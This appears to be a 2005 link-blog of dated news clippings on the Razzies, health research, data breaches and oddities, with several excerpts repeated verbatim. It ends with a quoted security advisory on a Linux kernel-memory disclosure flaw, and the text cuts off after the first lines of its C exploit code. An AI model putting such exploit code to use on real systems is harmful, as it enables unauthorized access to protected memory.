The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "LOS ANGELES (Reuters) - Beating such established Hollywood hunks as Colin Farrell and Vin Diesel, U.S. President George W. Bush has won the Golden Raspberry Award on Saturday for worst actor of the year for his appearance in Michael Moore's documentary 'Fahrenheit 9/11'.
Bush, two members of his administration, Britney Spears and the storybook about a goat that the president was reading to children as the September 11 attacks were taking place all took top honours at the 'Razzie' awards on Sunday, now in their 25th year.
'Catwoman', starring 2002 best actress Oscar winner Halle Berry, tied with 'Fahrenheit 9/11' by scooping up four 'Razzies' -- worst picture, worst directing, worst screenplay and worst performance by an actress for Berry for her 'berry bad' work.
John Wilson, founder of the nonprofit Golden Raspberry Award Foundation that gives out 'Hollywood's least coveted trophies' on the eve of the Oscars ceremony, said Moore's anti-Bush documentary allowed the foundation's nearly 700 members to do some Bush bashing of their own.
The president not only was named worst male actor in a leading role, he also won for being half of the year's worst screen couple when paired with either Secretary of State Condoleezza Rice or 'My Pet Goat', the book he was reading to schoolchildren on the morning of September 11, 2001."
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "MOSCOW (Reuters) - Fears for the future of rare whales will not halt the Shell-led Sakhalin-2 gas project in Russia's far east, Shell's country manager said on Friday.
John Barry told Reuters the $10 billion venture, one of Royal Dutch/Shell's biggest, was on track to deliver its first cargo of Liquefied Natural Gas (LNG) in 2007 as planned.
The consortium recognized environmentalists' concerns and was considering measures such as re-routing pipelines to avoid damage to the gray whales' habitat, he said in an interview.
'The project is going ahead. I want to be unambiguous about that,' Barry said.
He said some statements in a report last week by environmentalists, which was requested by Shell, had been taken out of context, in particular a recommendation to halt the project to take stock of its effect on the whales.
'What it said was, the most precautionary approach would be to stop and gather further data,' he said. 'But it did say that if the project went ahead, mitigation measures were needed.
'That is important because the project is going ahead and there is no question of stopping it. It is an overwhelmingly positive project for Russia, for the shareholders and for the whole Asia-Pacific region,' he said."
Sunday, February 27, 2005
REFURBISHED eServer xSeries 330 x330
REFURBISHED eServer xSeries 330 x330: "At only 1U high, the xSeries 330 builds on IBM's leadership in rack-dense serving by delivering a powerful, scalable platform with industry-leading reliability and management components. This server is packed with easy-to-use features developed to simplify installation and systems management - reducing your overall costs.The xSeries 330 leads the industry in advanced server function, including unique Cable Chaining Technology (C2T) that saves you time and expense by eliminating over 120 cables from a full rack of systems as well as an integrated service processor that keeps you in control, even if the server is powered down. Netfinity Director software manages your server, monitors performance and maximizes uptime. The xSeries 330 is designed to meet the most challenging e-business requirements. It offers more processing power to give you the performance and scalability you demand in your data center. "
High-Pressure Steam Engines and Computer Software
High-Pressure Steam Engines and Computer Software: "The introduction of computers into the control of potentially dangerous devices has led to a growing awareness of the possible contribution of software to serious accidents. The number of computer-related accidents so far has been small due to the restraint that has been shown in introducing them into safetycritical control loops. However, as the economic and technological benefits of using computers become more widely accepted, their use is increasing dramatically. We need to ensure that computers are introduced into safety-critical systems in the most responsible way possible and at a speed that does not expose people to undue risk.
Risk induced by technological innovation existed long before computers; this is not the first time that humans have come up with an extremely useful new technology that is potentially dangerous. We can learn from the past before we repeat the same mistakes. In particular, parallels exist between the early development of high-pressure steam engines and software engineering that we can apply to the use of computers in complex systems."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "WASHINGTON (Reuters) - Two new retroviruses never before seen in humans have turned up among people who regularly hunt monkeys in Cameroon, researchers reported on Friday.
Like the AIDS virus, these viruses insert their genetic material directly into cells and perhaps even into a person's or animal's chromosomes. Closely related versions of the viruses cause leukemia, inflammatory and neurological diseases.
The two new viruses are called human T-lymphotropic virus types 3 and 4 or HTLV-3 and HTLV-4. They are closely related to two known viruses called HTLV-1 and HTLV-2, which experts believe were transmitted to people, like HIV, from monkeys and apes.
'Because HIV originated as a cross-species infection from a non-human primate virus, the question was how much cross-species retrovirus infections are occurring and what are the consequences of these infections,' said Walid Hemeine of the U.S. Centers for Disease Control and Prevention, who led the study."
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Yahoo! News - Japan Claims Longest Overland Tunnel
Yahoo! News - Japan Claims Longest Overland Tunnel: "TOKYO - Japan created what engineers here call the world's longest overland tunnel on Sunday, when railway workers blasted through a final layer of rock with a governor and other dignitaries looking on.
AP Photo
The 16.4 mile Hakkoda Tunnel will become part of a new bullet train line under construction to link Tokyo with the northern city of Aomori about 360 miles to the north. The tunnel burrows under Mount Hakkoda in Aomori prefecture. "
Saturday, February 26, 2005
RollingStone.com: Bob Dylan : FCC Censorship : News
RollingStone.com: Bob Dylan : FCC Censorship : News: "When the Federal Communications Commission fined Clear Channel Communications $27,500 last year for each of eighteen incidents of 'indecent material' spouted by shock jock Howard Stern, it sure seemed like a lot of money. But in retrospect those fines look like chump change. On February 16th, the Bush administration won House approval for a bill that would raise the maximum FCC fine to $500,000 per violation. Under the new measure, Clear Channel -- and Stern himself -- could each have been fined a total of $9 million.
'Free expression and First Amendment rights are the real target of this legislation,' declared Rep. Bernie Sanders (Ind-Vt.) during the debate over the bill. 'This is not what America is about.'"
Friday, February 25, 2005
Yahoo! News - No Evidence Flu Jabs Work for Under-2s - Study
Yahoo! News - No Evidence Flu Jabs Work for Under-2s - Study: "LONDON (Reuters) - There is no evidence that vaccinating children under 2 years old against influenza reduces deaths or complications from the illness, researchers said on Friday.
Yahoo! Health
Have questions about your health?
Find answers here.
They reviewed 25 studies that looked at the impact of vaccines in cutting the number of cases of influenza and its symptoms in children up to 16. "
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "LONDON (Reuters) - Having a planned caesarian section does not reduce a woman's risk of suffering from postnatal depression, doctors said Friday.
New mothers are as likely to experience depression after giving birth whether they go through labor and a natural delivery or an elective caesarian.
'The method of delivery does not influence your risk of having postnatal depression,' said Deirdre Murphy, a professor of obstetrics and gynecology at the University of Dundee in Scotland."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "LONDON (Reuters) - A fifth of patients with suspected cancer wait more than a month to be seen by a specialist in England, a report showed on Friday.
The National Audit Office (NAO) survey of more than 4,000 cancer patients found widespread improvement in care provided by the National Health Service since the last survey in 2000.
But the research also showed that large numbers were waiting weeks or months before being seen by a cancer specialist after visiting their doctor with symptoms."
Yahoo! News - African AIDS front shows signs of hope
Yahoo! News - African AIDS front shows signs of hope: "BOSTON, United States (AFP) - Condom use and multiple-drug 'cocktails' have slowed the spread of AIDS (news - web sites) cases in certain African countries, a global AIDS conference in Boston was told. "
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "LONDON (Reuters) - Unsafe drinking water and poor sanitation kill 4,000 children every day, global health experts said on Friday.
They described the deaths as a 'silent humanitarian crisis' and called for immediate action.
'There should be an outcry, from the health community above all, for immediate, concerted efforts to confront the reality that sanitation coverage rates in the developing world barely keep pace with population growth,' said Dr Jamie Bartram, of the World Health Organization (WHO)."
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "WASHINGTON (Reuters) - A federal judge on Thursday voiced skepticism about a key argument that cigarette makers are using to defend themselves against government charges of civil racketeering.
U.S. District Judge Gladys Kessler expressed doubts after a tobacco lawyer said the industry should not be held liable for past misleading statements if the public never believed them.
'Twelve billion dollars a year (cigarette makers) are spending doesn't matter?' Kessler asked, referring to tobacco advertising and promotion spending cited by the government."
Wired News: California Woman Sues ChoicePoint
Wired News: California Woman Sues ChoicePoint: "A California woman has filed the first lawsuit against ChoicePoint for fraud and negligence in the wake of the company's recent disclosure that it sold personal information about more than 140,000 people to identity thieves.
The case could set a precedent that would help establish better standards for how data brokers secure and sell consumers' private information and lead to regulations that would hold them accountable for lax data protection. "
Yahoo! News - Ethiopia Records Polio Case as Virus Spreads
Yahoo! News - Ethiopia Records Polio Case as Virus Spreads: "GENEVA (Reuters) - A two-year-old girl has contracted polio in Ethiopia in another sign that the epidemic is spreading across Africa, the World Health Organization (news - web sites) (WHO) said on Friday. "
Science News Article | Reuters.co.uk
Science News Article | Reuters.co.uk: "WASHINGTON (Reuters) - A missile fired from a U.S. Navy ship off Kauai, Hawaii, intercepted and destroyed a mock warhead on Thursday, the fifth success in six such test of the fledgling U.S. anti-missile shield's sea-based leg, the Pentagon announced.
'We had a successful hit-to-kill intercept,' said Richard Lehner, a spokesman for the Pentagon's Missile Defense Agency."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "TOKYO (Reuters) - Most single Japanese women prefer not to marry and believe they can live happily alone for the rest of their life, a poll shows, casting another shadow on the future of a country plagued by a falling birthrate.
About seven in ten single Japanese women surveyed by the conservative Yomiuri newspaper said they would rather stay unwed."
Yahoo! News - Sony Puts Pizza Ordering in Videogames
Yahoo! News - Sony Puts Pizza Ordering in Videogames: "NEW YORK - Demonstrating a deep understanding of what its computer-gaming audience, Sony has built the ability to order pizza into its latest online multiplayer game.
Type the command '/pizza' while playing Everquest II, a fantasy game with 330,000 active players, and get the Pizza Hut Web site, where you can place orders for delivery.
Chris Kramer, spokesman for Sony Online Entertainment, said he believes this is the first time a game accepts orders for real-world items."
Yahoo! News - Firm's Valentine Cards Spark Lovers' Tiffs
Yahoo! News - Firm's Valentine Cards Spark Lovers' Tiffs: "AMSTERDAM (Reuters) - A pharmaceutical company which sent anonymous Valentine's cards to Dutch gynecologists in a publicity stunt has been forced to apologize for sparking family arguments.
The doctors and their partners were furious with the company -- whose Web site says it mixes 'the ingredients for health and happiness' -- after the firm sent cards saying 'Now shall we tell everyone?,' De Telegraaf newspaper reported Thursday.
A second card was dispatched to the 800 doctors the next day explaining that the first had been a gimmick to promote a new product.
In some cases, the cards caused so much distress that the company, Organon, sent apologetic bouquets of flowers, the newspaper said. "
Yahoo! News - Kraft Draws Ire for Road Kill Candy
Yahoo! News - Kraft Draws Ire for Road Kill Candy: "TRENTON, N.J. - Animal rights activists are disgusted by a new candy from Kraft Foods Inc. that's shaped like critters run over by cars � complete with tire treads.
The fruity-flavored Trolli Road Kill Gummi Candy � in shapes of partly flattened snakes, chickens and squirrels � fosters cruelty toward animals, according to the New Jersey Society for the Prevention of Cruelty to Animals. "
Yahoo! News - Unbelievable...
Yahoo! News - Unbelievable...: "LONDON (Reuters) - A blind man has been arrested in Scotland after witnesses reported he sank his teeth into his guide dog and kicked her across the road, police said on Thursday.
The incident allegedly occurred outside a busy shopping center in the Scottish capital Edinburgh.
David Todd, 34, is expected to face charges of cruelty to animals and breach of the peace.
A police spokeswoman said the 8-year old dog had been handed over to a charity dedicated to guide dogs.
'When we took her into custody, she had no apparent injuries,' she added.
Todd is due to appear in court at a later date. "
Yahoo! News - We're Here to Bug You: Video Mocks Police
Yahoo! News - We're Here to Bug You: Video Mocks Police: "HAVANA (Reuters) - 'Good Morning, we've come to install your microphones,' an agent says at the door in the opening line of an underground video making the rounds in Cuba.
'In what part of the house do you usually talk bad about the government?' he asks the nervous resident, a driver who pilfers gasoline and coffee from the state.
The spoof of Cuba's feared security police is in hot demand among Cubans, for whom black jokes and complaints about communist bureaucracy is a major pastime. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "WASHINGTON (Reuters) - The United States will ban imports of artificial Christmas trees from China due to fears they may contain foreign pests, the U.S. Agriculture Department has said.
The ban begins April 1.
USDA will also suspend imports of craft items from China that contain wooden logs, limbs, branches or twigs greater than 1 centimetre in diameter and have intact bark.
The department's Animal and Plant Health Inspection Service said it was 'increasingly concerned about the introduction of wood-boring quarantine pests into the United States from China through decorative and craft items.'"
Yahoo! News - Fake New York Transit Worker Pleads Guilty
Yahoo! News - Fake New York Transit Worker Pleads Guilty: "NEW YORK - A man who has been arrested repeatedly for pretending to be a transit worker pleaded guilty Thursday to trying to steal a locomotive, prosecutors said.
In June, Darius McCollum, 39, went into a Long Island Rail Road yard, posed as a safety consultant and asked how to operate a new type of engine that had just been delivered, Queens District Attorney Richard Brown said in a news release.
McCollum later was found with stolen keys, including one used to operate the new locomotive, Brown said. "
Yahoo! News - Court: Man Can Sue Over Surprise Pregnancy
Yahoo! News - Court: Man Can Sue Over Surprise Pregnancy: "CHICAGO - An appeals court said a man can press a claim for emotional distress after learning a former lover had used his sperm to have a baby. But he can't claim theft, the ruling said, because the sperm were hers to keep.
The ruling Wednesday by the Illinois Appellate Court sends Dr. Richard O. Phillips' distress case back to trial court. "
Wednesday, February 23, 2005
Yahoo! News - Starburst Was Brightest Flash on Record
Yahoo! News - Starburst Was Brightest Flash on Record: "GREENBELT, Md. - A massive burst of energy exploded from a far-off neutron star last December, the brightest flash of light ever detected from beyond the solar system, scientists said Friday. "
Yahoo! News - World Must Act on Bird Flu or Face Pandemic -- U.N.
Yahoo! News - World Must Act on Bird Flu or Face Pandemic -- U.N.: "HO CHI MINH CITY (Reuters) - The world is overdue an influenza pandemic and it must act swiftly to prevent one being triggered by bird flu now endemic in parts of Asia where it has killed 46 people, U.N. officials said on Wednesday. "
Yahoo! News - When It Comes to Kids' Ear Infections, Hold the Antibiotics
Yahoo! News - When It Comes to Kids' Ear Infections, Hold the Antibiotics: "TUESDAY, Feb. 22 (HealthDayNews) -- Your infant is running a fever and has been clingy and inconsolable most of the night. You immediately think 'ear infection,' and rush to the doctor's office for a prescription for an antibiotic."
Yahoo! News - Burkina's Women Learn to Fight Malaria Through Loans
Yahoo! News - Burkina's Women Learn to Fight Malaria Through Loans: "OUAGADOUGOU, Burkina Faso (Reuters) - For years, Clarisse Tangkwano had no idea mosquitoes spread malaria.
Yahoo! Health
Have questions about your health?
Find answers here.
All she did know was that fevers, nausea and headaches regularly gripped her family.
But since a credit agency taught Tangkwano how malaria spreads, the mother of four has bought a mosquito net.
Tangkwano initially wanted to borrow money just for books and other school supplies for her children. "
Yahoo! News - FBI Issues Warning About Computer Virus
Yahoo! News - FBI Issues Warning About Computer Virus: "WASHINGTON - The FBI (news - web sites) warned Tuesday that a computer virus is being spread through unsolicited e-mails that purport to come from the FBI. "
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "NEW YORK (Reuters Health) - Taking a continuous-care approach to treating people with depression leads to improved outcomes and saves on costs, according to a new report.
In fact, Dr. Kathryn Rost from the University of Colorado Health Sciences Center, Aurora, told Reuters Health that 'health plans interested in improving the treatment they provide for depression ... need to adopt models that provide care management on an ongoing basis, rather than an acute basis.'
'These models,' she said, 'provide increasingly better patient outcomes at increasingly less cost over two years.'"
Wired News: Paris Hilton: Hacked or Not?
Wired News: Paris Hilton: Hacked or Not?: "It's the cell-phone version of a train wreck: a trendy mobile device, celebrity skin shots spread all over the web, a federal investigation underway, and loads of gawkers certain they aren't that stupid.
How did the phone numbers, notes and saucy pictures Paris Hilton stored on her Sidekick II handset from T-Mobile get into the hands of someone else and onto the screens of computers around the world this weekend? Was it simply a case of a consumer who failed to be careful enough with her own privacy and that of others? Or could T-Mobile -- still dealing with the detritus of a previous security breach -- have prevented it? "
Internet News Article | Reuters.co.uk
Internet News Article | Reuters.co.uk: "NEW YORK (Reuters) - Computer geeks who love history have a chance to get their hands on rare documents and technical relics at 'The Origins of Cyberspace' sale in New York next week, Christie's auction house says.
Much of the material on offer might seem dry to the uninitiated but for those in the know, there are some gems.
Lots on offer include an early version of a data storage disc dating from 1951, weighing 5.5 pounds (2.49 kg) which could only hold about the equivalent of one paragraph of text."
Yahoo! News - UN Panel Aims to End Internet Tug of War by July
Yahoo! News - UN Panel Aims to End Internet Tug of War by July: "GENEVA (Reuters) - A U.N.-sponsored panel aims to settle a long-running tug of war for control of the Internet by July and propose solutions to problems such as cyber crime and email spam, panel leaders said on Monday. "
Slashdot | Li-Ion With 300% More Power, Minutes to Recharge
Slashdot | Li-Ion With 300% More Power, Minutes to Recharge: "Battery Nut writes 'Altair Nanotechnologies claims to have found a way to reduce Li-Ion recharge time to minutes, as well as increase battery power by 300%, according to this press release. Seems they have received some good feedback by certain experts about thier work: 'Two eminent experts in battery technology, Dr. K. M. Abraham and Dr. Vassilis G. Keramidas, have expressed strong support for Altair's work. ' So is it a new revolution in battery technology, or hopeful hype? Stay tuned, their quarterly conference call is Thursday Feb 24th at 11AM.' Anyone else think snake oil? "
Health News Article | Reuters.co.uk
Health News Article | Reuters.co.uk: "NEW YORK (Reuters) - The number of U.S. parents talking to their teenagers about drugs has dropped, perhaps reflecting the more relaxed attitudes of a generation that came of age in the late 1970s when U.S. teen drug use peaked, a study on Tuesday found.
In 2004, about 12 percent of U.S. parents never talked to their children about drugs, twice the level recorded in 1998, said Steve Dnistrian, vice president of the Partnership for a Drug-Free America, which conducted the survey."
Yahoo! News - Key West Prosecutor Faces Streaking Charge
Yahoo! News - Key West Prosecutor Faces Streaking Charge: "KEY WEST, Fla. - A drunk Monroe County prosecutor thought it would be funny to run naked across a parking lot and hop into a friend's car, authorities said. But the joke was on him when he jumped into the wrong car and was arrested. "
Wired News: ID Theft Victims Could Lose Twice
Wired News: ID Theft Victims Could Lose Twice: "The recent security breach at data aggregator ChoicePoint that exposed at least 145,000 consumers to identity theft and renewed a call for regulation of the data industry will likely leave victims of the breach twice bitten -- first from the identity theft itself and second from thwarted attempts to recover damages for their losses if they decide to seek recourse.
Legal experts say that people who suffered losses as a result of the breach will find it difficult to get compensation from ChoicePoint for selling their personal data to con artists, even if the victims can prove that ChoicePoint was negligent in screening customers who purchased their data. That's because courts have been unwilling to penalize companies when victims of identity theft are not their direct customers. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "TOKYO (Reuters) - North Korea has menaced Japan with missiles, kidnapped its citizens and stands between it and a place in the soccer World Cup finals, but one in four Japanese high-school students can't place the country on a map.
Only 76 percent of high school pupils in a survey by an academic body could locate the reclusive communist state, despite a daily bombardment of news about it in the Japanese media."
Yahoo! News - Alaska Woman Charged in Genital Amputation
Yahoo! News - Alaska Woman Charged in Genital Amputation: "ANCHORAGE, Alaska - A woman upset about an impending breakup with her boyfriend cut off the man's penis and flushed it down a toilet, police said.
Alaska Man's Penis Severed, Girlfriend Charged
(AP Video)
Utility workers recovered the severed member Sunday and surgeons reattached it.
Kim Tran, 35, was charged with first-degree assault, domestic violence and tampering with evidence. She was jailed at the Anchorage Jail with no bail set. "
Yahoo! News - Mich. Students Offered Cash for Tours
Yahoo! News - Mich. Students Offered Cash for Tours: "ANN ARBOR, Mich. - Some University of Michigan students are cleaning up in more ways than one. They're getting cash payments for keeping their dormitory rooms presentable and available for tours by prospective students and their parents.
Eighteen students in nine residence halls are participating in the Michigan Campus Day tour program, according to Randi Johnson, the university's housing outreach coordinator. Visitors have lunch at a residence hall and glimpse a typical dorm room.
Sophomores Aaron Bennick and Eric Romain are receiving $100 each this semester to participate in Campus Day. The engineering majors have arranged their loft beds to fit over the desks in their fifth-floor West Quad double room."
Yahoo! News - Malaysian State to Offer 'Happy Toilets'
Yahoo! News - Malaysian State to Offer 'Happy Toilets': "KUALA LUMPUR, Malaysia - A Malaysian state will soon build public toilets equipped with piped music and newspapers for people to enjoy while using the bathroom.
Officials in the northeastern state of Kelantan on Tuesday announced that 'Happy and Healthy Toilets' would be built in popular spots, with facilities 'guaranteed to make users happy,' Malaysia's national news agency Bernama reported. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "AMSTERDAM (Reuters) - The delicate problem of how to dump a lover before moving on to the next one has been given a new twist by a Dutch Web site.
The site suggests women tell their partner they want a baby and men buy their girlfriend underwear that's too big.
But instead of just helping people give lovers the elbow, the site sells holidays -- working on the assumption that people want to go away for a fling without the shackles of a loved one at home, Dutch communications company Young Works said."
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "STOCKHOLM (Reuters) - Hungry field mice caused a 20-hour telephone blackout in central Sweden after gnawing through cables.
Telecom operator TeliaSonera said on Tuesday that fixed-line phone connections for more than 1,500 homes in Jamtland and Medelpad in central Sweden, were severed late on Monday by hungry rodents chewing their way through a fibre-optic cable near the town of Ange. Mobile phones were also cut off.
'This is not at all common,' said Hans Borjesson, a technician at TeliaSoneria."
Yahoo! News - Boarding School to Drop 'Dummer' From Name
Yahoo! News - Boarding School to Drop 'Dummer' From Name: "NEWBURY, Mass. - Governor Dummer Academy, the country's oldest independent boarding school, was founded before the Revolution. Jokes about its name have been around roughly as long.
There's 'Dumb and Dummer.' And: 'Getting smarter at Dummer.' And this: 'Students who go in come out Dummer.'
The school is named for William Dummer, an acting governor of Massachusetts who donated land to start the school. Over the years, students and alumni have accepted the ribbing about it with varying degrees of annoyance or indifference. "
Yahoo! News - British Gum Summit Proposes Gum Tax
Yahoo! News - British Gum Summit Proposes Gum Tax: "LONDON - A British gum summit, meeting in London Tuesday, outlined proposals to introduce a chewing gum tax to fund cleaning the sticky sweet from streets.
Representatives from Britain's biggest cities called for the tax � to be charged at the rate of a penny (2 cents; 1.5 euro cents) per packet of gum � to help meet the costs of removing gum from pavements, trains and other public places. "
Oddly Enough Article | Reuters.co.uk
Oddly Enough Article | Reuters.co.uk: "WASHINGTON (Reuters) - Racy photos of reality TV star Paris Hilton have again spread across the Internet -- this time accompanied by celebrity phone numbers, e-mail addresses and other information hacked from her mobile phone.
The heiress to the Hilton Hotels fortune, who featured in a sexually explicit videotape posted online in 2003, has now had her star-studded contact list, personal notes and topless self-portraits from her Sidekick II 'smart phone' splattered all over the Web."
Yahoo! News - Court Rejects Appeal on Sex Toy Sales Ban
Yahoo! News - Court Rejects Appeal on Sex Toy Sales Ban: "WASHINGTON (Reuters) - The U.S. Supreme Court (news - web sites) rejected on Tuesday a constitutional challenge to an Alabama law that makes it a crime to sell sex toys.
The high court refused to hear an appeal by a group of individuals who regularly use sexual devices and by two vendors who argued the case raised important issues about the scope of the constitutional right to sexual privacy.
The law prohibited the distribution of 'any device designed or marketed as useful primarily for the stimulation of human genital organs.' First-time violators can face a fine of up to $10,000 and as much as one year in jail. "
Monday, February 21, 2005
SecuriTeam.com � - Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory
SecuriTeam.com � - Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory: "Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory21 Feb. 2005
Summary
The Linux operating system version 2.6.10 and prior contains a vulnerability that allows non-privileged users to read kernel memory. The following two exploits illustrate the issue.
Credit:
The information has been provided by Georgi Guninski.
Details
Vulnerable Systems:
* Linux version 2.6.10 and prior
Exploit #1:
/*
* copyright georgi guninski
* cannot be used in vulnerability databases like securityfocus and mitre
*
* */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh)
void makefiles()
{
int cou,fv;
char vn[242];
for(cou=0;cou<920;cou++)
{
